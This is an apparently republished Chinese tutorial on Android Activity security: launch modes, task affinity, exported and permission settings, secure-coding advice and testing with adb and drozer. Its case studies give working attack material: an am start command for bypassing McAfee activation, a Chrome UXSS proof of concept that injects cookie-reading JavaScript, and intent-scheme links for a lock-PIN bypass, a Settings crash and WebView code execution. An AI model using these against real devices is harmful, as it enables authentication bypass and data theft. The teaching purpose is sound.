Android四大组件之一--Activity安全详解。

原帖地址:http://drops.wooyun.org/tips/3936

0x00 科普


Android每一个Application都是由Activity、Service、content Provider和Broadcast Receiver等Android的基本组件所组成,其中Activity是实现应用程序的主体,它承担了大量的显示和交互工作,甚至可以理解为一个"界面"就是一个Activity。

Activity是为用户操作而展示的可视化用户界面。比如说,一个activity可以展示一个菜单项列表供用户选择,或者显示一些包含说明的照片。一个短消息应用程序可以包括一个用于显示做为发送对象的联系人的列表的activity,一个给选定的联系人写短信的activity以及翻阅以前的短信和改变设置的activity。尽管它们一起组成了一个内聚的用户界面,但其中每个activity都与其它的保持独立。每个都是以Activity类为基类的子类实现。

一个应用程序可以只有一个activity,或如刚才提到的短信应用程序那样,包含很多个。每个activity的作用,以及其数目,自然取决于应用程序及其设计。一般情况下,总有一个应用程序被标记为用户在应用程序启动的时候第一个看到的。从一个activity转向另一个的方式是靠当前的activity启动下一个。

0x01 知识要点


参考:http://developer.android.com/guide/components/activities.html

生命周期

启动方式

显示启动

配置文件中注册组件

<activity android:name=".ExampleActivity" android:icon="@drawable/app_icon">     <intent-filter>         <action android:name="android.intent.action.MAIN" />         <category android:name="android.intent.category.LAUNCHER" />     </intent-filter>
</activity>

直接使用intent对象指定application以及activity启动

Intent intent = new Intent(this, ExampleActivity.class);
startActivity(intent);

未配置intent-filter的action属性,activity只能使用显示启动。

私有Activity推荐使用显示启动。

隐式启动

Intent intent = new Intent(Intent.ACTION_SEND);
intent.putExtra(Intent.EXTRA_EMAIL, recipientArray);
startActivity(intent);

加载模式launch mode

Activity有四种加载模式:

  • standard:默认行为。每次启动一个activity,系统都会在目标task新建一个实例。
  • singleTop:如果目标activity的实例已经存在于目标task的栈顶,系统会直接使用该实例,并调用该activity的onNewIntent()(不会重新create)
  • singleTask:在一个新任务的栈顶创建activity的实例。如果实例已经存在,系统会直接使用该实例,并调用该activity的onNewIntent()(不会重新create)
  • singleInstance:和"singleTask"类似,但在目标activity的task中不会再运行其他的activity,在那个task中永远只有一个activity。

设置的位置在AndroidManifest.xml文件中activity元素的android:launchMode 属性:

<activity android:name="ActB" android:launchMode="singleTask"></activity>

Activity launch mode 用于控制创建task和Activity实例。默认“standard“模式。Standard模式一次启动即会生成一个新的Activity实例并且不会创建新的task,被启动的Activity和启动的Activity在同一个栈中。当创建新的task时,intent中的内容有可能被恶意应用读取所以建议若无特别需求使用默认的standard模式即不配置launch mode属性。launchMode能被Intent 的flag覆盖。

taskAffinity

android系统中task管理Activity。Task的命名取决于root Activity的affinity。

默认情况下,app中的每个Activity都使用app的包名作为affinity。而Task的分配取决于app,故默认情况下一个app中所有的Activity属于同一task。要改变task的分配,可以在AndroidManifest.xml文件中设置affinity的值,但是这样做会有不同task启动Activity携带的intent中的信息被其他应用读取的风险。

FLAG_ACTIVITY_NEW_TASK

intent flag中一个重要的flag

启动Activity时通过setFlags()或者addFlags()方法设置intent的flags属性能够改变launch mode,FLAG_ACTIVITY_NEW_TASK标记代表创建新的task(被启动的Activity既不在前台也不在后台)。FLAG_ACTIVITY_MULTIPLE_TASK标记能和FLAG_ACTIVITY_NEW_TASK同时设置。这种情况下必会创建的task,所以intent中不应携带敏感数据。

Task

stack:Activity承担了大量的显示和交互工作,从某种角度上将,我们看见的应用程序就是许多个Activity的组合。为了让这许多 Activity协同工作而不至于产生混乱,Android平台设计了一种堆栈机制用于管理Activity,其遵循先进后出的原则,系统总是显示位于栈顶的Activity,位于栈顶的Activity也就是最后打开的Activity。

Task:是指将相关的Activity组合到一起,以Activity Stack的方式进行管理。从用户体验上讲,一个“应用程序”就是一个Task,但是从根本上讲,一个Task是可以有一个或多个Android Application组成的

如果用户离开一个task很长时间,系统会清理栈顶以下的activity,这样task被从新打开时,栈顶activity就被还原了。

Intent Selector

多个Activity具有相同action时,当此调用此action时会弹出一个选择器供用户选择。

权限

android:exported

一个Activity组件能否被外部应用启动取决于此属性,设置为true时Activity可以被外部应用启动,设置为false则不能,此时Activity只能被自身app启动。(同user id或者root也能启动)

没有配置intent-filter的action属性exported默认为false(没有filter只能通过明确的类名来启动activity故相当于只有程序本身能启动),配置了intent-filter的action属性exported默认为true。

exported属性只是用于限制Activity是否暴露给其他app,通过配置文件中的权限申明也可以限制外部启动activity。

android:protectionLevel

http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html

normal:默认值。低风险权限,只要申请了就可以使用,安装时不需要用户确认。

dangerous:像WRITE_SETTING和SEND_SMS等权限是有风险的,因为这些权限能够用来重新配置设备或者导致话费。使用此protectionLevel来标识用户可能关注的一些权限。Android将会在安装程序时,警示用户关于这些权限的需求,具体的行为可能依据Android版本或者所安装的移动设备而有所变化。

signature:这些权限仅授予那些和本程序应用了相同密钥来签名的程序。

signatureOrSystem:与signature类似,除了一点,系统中的程序也需要有资格来访问。这样允许定制Android系统应用也能获得权限,这种保护等级有助于集成系统编译过程。

<!-- *** POINT 1 *** Define a permission with protectionLevel="signature" -->
<permission
android:name="org.jssec.android.permission.protectedapp.MY_PERMISSION"
android:protectionLevel="signature" />
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<!-- *** POINT 2 *** For a component, enforce the permission with its permission attribute -->
<activity
android:name=".ProtectedActivity"
android:exported="true"
android:label="@string/app_name"
android:permission="org.jssec.android.permission.protectedapp.MY_PERMISSION" >
<!-- *** POINT 3 *** If the component is an activity, you must define no intent-filter -->
</activity>

关键方法

  • onCreate(Bundle savedInstanceState)
  • setResult(int resultCode, Intent data)
  • startActivity(Intent intent)
  • startActivityForResult(Intent intent, int requestCode)
  • onActivityResult(int requestCode, int resultCode, Intent data)
  • setResult (int resultCode, Intent data)
  • getStringExtra (String name)
  • addFlags(int flags)
  • setFlags(int flags)
  • setPackage(String packageName)
  • getAction()
  • setAction(String action)
  • getData()
  • setData(Uri data)
  • getExtras()
  • putExtra(String name, String value)

0x02 Activity分类


Activity类型和使用方式决定了其风险和防御方式,故将Activity分类如下: Private、Public、Parter、In-house

private activity


私有Activity不应被其他应用启动相对是安全的

创建activity时:

1、不指定taskAffinity //task管理activity。task的名字取决于根activity的affinity。默认设置中Activity使用包名做为affinity。task由app分配,所以一个应用的Activity在默认情况下属于相同task。跨task启动Activity的intent有可能被其他app读取到。

2、不指定lunchMode //默认standard,建议使用默认。创建新task时有可能被其他应用读取intent的内容。

3、设置exported属性为false

4、谨慎处理从intent中接收的数据,不管是否内部发送的intent

5、敏感信息只能在应用内部操作

使用activity时:

6、开启activity时不设置FLAG_ACTIVITY_NEW_TASK标签 //FLAG_ACTIVITY_NEW_TASK标签用于创建新task(被启动的Activity并未在栈中)。

7、开启应用内部activity使用显示启动的方式

8、当putExtra()包含敏感信息目的应是app内的activity

9、谨慎处理返回数据,即可数据来自相同应用

public activity


公开暴露的Activity组件,可以被任意应用启动

创建activity:

1、设置exported属性为true

2、谨慎处理接收的intent

3、有返回数据时不应包含敏感信息

使用activity:

4、不应发送敏感信息

5、当收到返回数据时谨慎处理

Parter、in-house部分参阅http://www.jssec.org/dl/android_securecoding_en.pdf

安全建议

  • app内使用的私有Activity不应配置intent-filter,如果配置了intent-filter需设置exported属性为false。
  • 使用默认taskAffinity
  • 使用默认launchMode
  • 启动Activity时不设置intent的FLAG_ACTIVITY_NEW_TASK标签
  • 谨慎处理接收的intent以及其携带的信息
  • 签名验证内部(in-house)app
  • 当Activity返回数据时候需注意目标Activity是否有泄露信息的风险
  • 目的Activity十分明确时使用显示启动
  • 谨慎处理Activity返回的数据,目的Activity返回的数据有可能是恶意应用伪造的
  • 验证目标Activity是否恶意app,以免受到intent欺骗,可用hash签名验证
  • When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection
  • 尽可能的不发送敏感信息,应考虑到启动public Activity中intent的信息均有可能被恶意应用窃取的风险

0x04 测试方法


查看activity:

  • 反编译查看配置文件AndroidManifest.xml中activity组件(关注配置了intent-filter的及未设置export=“false”的)
  • 直接用RE打开安装后的app查看配置文件
  • Drozer扫描:run app.activity.info -a packagename
  • 动态查看:logcat设置filter的tag为ActivityManager

启动activity:

  • adb shell:am start -a action -n package/componet
  • drozer: run app.activity.start --action android.action.intent.VIEW ...
  • 自己编写app调用startActiviy()或startActivityForResult()
  • 浏览器intent scheme远程启动:http://drops.wooyun.org/tips/2893

0x05 案例


案例1:绕过本地认证

WooYun: 华为网盘android客户端本地密码绕过(非root也可以)

绕过McAfee的key验证,免费激活。

$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain

案例2:本地拒绝服务

WooYun: 快玩浏览器android客户端本地拒绝服务

WooYun: 雪球android客户端本地拒绝服务漏洞

WooYun: Tencent Messenger(QQ) Dos vulnerability(critical)

WooYun: Tencent WeiBo multiple Dos vulnerabilities(critical)

WooYun: Android原生的Settings应用存在必现崩溃问题(可造成拒绝服务攻击) (涉及fragment)

案例3:界面劫持

WooYun: android利用悬浮窗口实现界面劫持钓鱼盗号

案例4:UXSS

漏洞存在于Chrome Android版本v18.0.1025123,class "com.google.android.apps.chrome.SimpleChromeActivity" 允许恶意应用注入js代码到任意域. 部分 AndroidManifest.xml配置文件如下

<activity android:name="com.google.android.apps.chrome.SimpleChromeActivity" android:launchMode="singleTask" android:configChanges="keyboard|keyboardHidden|orientation|screenSize">         <intent-filter>             <action android:name="android.intent.action.VIEW" />             <category android:name="android.intent.category.DEFAULT" />         </intent-filter>
</activity>

Class "com.google.android.apps.chrome.SimpleChromeActivity" 配置 但是未设置 "android:exported" 为 "false". 恶意应用先调用该类并设置data为” http://google.com” 再次调用时设置data为恶意js例如'javascript:alert(document.cookie)', 恶意代码将在http://google.com域中执行. "com.google.android.apps.chrome.SimpleChromeActivity" class 可以通过Android api或者am(activityManager)打开. POC如下

public class TestActivity extends Activity {     @Override     public void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         Intent i = new Intent();                 ComponentName comp = new ComponentName(                                  "com.android.chrome",                                     "com.google.android.apps.chrome.SimpleChromeActivity");                 i.setComponent(comp);                 i.setAction("android.intent.action.VIEW");                 Uri data = Uri.parse("http://google.com");                 i.setData(data);                 startActivity(i);                     try {                         Thread.sleep(5000);                         }                           catch (Exception e) {}                 data = Uri.parse("javascript:alert(document.cookie)");                   i.setData(data);                 startActivity(i);     }
}

案例5:隐式启动intent包含敏感数据

暂缺可公开案例,攻击模型如下图。

案例6:Fragment注入(绕过PIN+拒绝服务)

Fragment这里只提一下,以后可能另写一篇。

<a href="intent:#Intent;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;SEL;action=android.settings.SETTINGS;end">
16、bypass Pin android 3.0-4.3 (selector)
</a><br>

<a href="intent:#Intent;S.:android:show_fragment=XXXX;launchFlags=0x00008000;SEL;component=com.android.settings/com.android.settings.Settings;end">
17、fragment dos android 4.4 (selector)
</a><br>

案例7:webview RCE

<a href="intent:#Intent;component=com.gift.android/.activity.WebViewIndexActivity;S.url=http://drops.wooyun.org/webview.html;S.title=WebView;end">
15、驴妈妈代码执行(fixed)
</a><br>

0x06 参考


http://www.jssec.org/dl/android_securecoding_en.pdf

Android Activtity Security(转)的更多相关文章

  1. Android app security安全问题总结

    数据泄漏 本地文件敏感数据不能明文保存,不能伪加密(Base64,自定义算法等) android:allowbackup=false. 防止 adb backup 导出数据 Activity inte ...

  2. Android Logcat Security(转)

    讲解了在Android开发中logcat使用不当导致的安全问题 原帖地址:http://drops.wooyun.org/tips/3812 0x00 科普 development version : ...

  3. Android Broadcast Security(转)

    原文地址:http://drops.wooyun.org/tips/4393 0x00 科普 Broadcast Recevier 广播接收器是一个专注于接收广播通知信息,并做出对应处理的组件.很多广 ...

  4. Android安全相关文章[不定期更新…]

    http://drops.wooyun.org/papers/2893 Intent scheme URL attack http://drops.wooyun.org/tips/3812 Andro ...

  5. Android Weekly Notes Issue #221

    Android Weekly Issue #221 September 4th, 2016 Android Weekly Issue #221 ARTICLES & TUTORIALS And ...

  6. Android Weekly Notes Issue #219

    Android Weekly Issue #219 August 21st, 2016 Android Weekly Issue #219 ARTICLES & TUTORIALS Andro ...

  7. Android 6.0 M userdebug版本执行adb remount失败

    [FAQ18076]Android 6.0 M版本默认会打开system verified boot,即在userdebug和user版本会把system映射到dm-0设备,然后再挂载.挂载前会检查s ...

  8. 借腾讯开源 VasDolly,谈谈 Android 签名和多渠道打包的原理!

    一.前言 Hi,大家好,我是承香墨影! 当我们需要发布一款 App 到应用市场的时候,一般需要我们针对不同的市场生产不同的渠道包,它们使用的是同一套代码,只是会包含一些各自的渠道信息,用于我们做数据分 ...

  9. android dm-verity 功能【转】

    转自:https://blog.csdn.net/ee230/article/details/73348344 Android dm-verity 实现原理深入研究 思维导图: dm-verity 说 ...

随机推荐

  1. Linux 入门记录:五、vi、vim 编辑器

    一.vi.vim编辑器 vi 是一个命令行界面下的文本编辑工具,最早在 1976 年由 Bill Joy 开发.当时名字叫做 ex.vi 支持绝大多数操作系统(最早在类 Unix 操作系统的 BSD上 ...

  2. [转载]关于python字典类型最疯狂的表达方式

    一个Python字典表达式谜题 让我们探究一下下面这个晦涩的python字典表达式,以找出在python解释器的中未知的内部到底发生了什么. # 一个python谜题:这是一个秘密 # 这个表达式计算 ...

  3. SqlServer开启CLR使用(C#)DLL实现实时Socket通知

    --1.默认情况下,SQL Server中的CLR是关闭的,所以我们需要执行如下命令打开CLR: reconfigure GO -- DROP FUNCTION dbo.fnScoketSend -- ...

  4. php中mvc新建页面

    PHP配置: <?phpclass appointmentController extends Controller{public function __construct(){parent:: ...

  5. eetcode 之String to Integer (atoi)(28)

    字符串转为数字,细节题.要考虑空格.正负号,当转化的数字超过最大或最小是怎么办. int atoi(char *str) { int len = strlen(str); ; ; ; while (s ...

  6. POJ-2398

    Toy Storage Time Limit: 1000MS   Memory Limit: 65536K Total Submissions: 4243   Accepted: 2517 Descr ...

  7. .net/c#常用框架/中间件简介(不定时更新)

    任务调度 Quartz.NET:Quartz.NET是一个开源的作业调度框架,非常适合在平时的工作中,定时轮询数据库同步,定时邮件通知,定时处理数据等. Quartz.NET允 许开发人员根据时间间隔 ...

  8. vue不用webpake等环境及脚手架也可以玩

    初学时,搭环境,es6也来了,vuecil脚手架也弄了,调错,照着教程一遍一遍kei着... 然尔,实际开发中,所写的东西最后是要打包封装成软件的,为了方便其他人修改查看,不能打包成js文件... 难 ...

  9. 【笔试题】精选30道Java笔试题解答

    转自于:精选30道Java笔试题解答 精选30道Java笔试题解答 1. 下面哪些是Thread类的方法() A. start() B. run() C. exit() D. getPriority( ...

  10. centos部署Django项目的前提工作

    从安装python到django项目的部署上线.是相当详细了,中间也没有出现什么幺蛾子.很赞!!! https://blog.csdn.net/u011798443/article/details/8 ...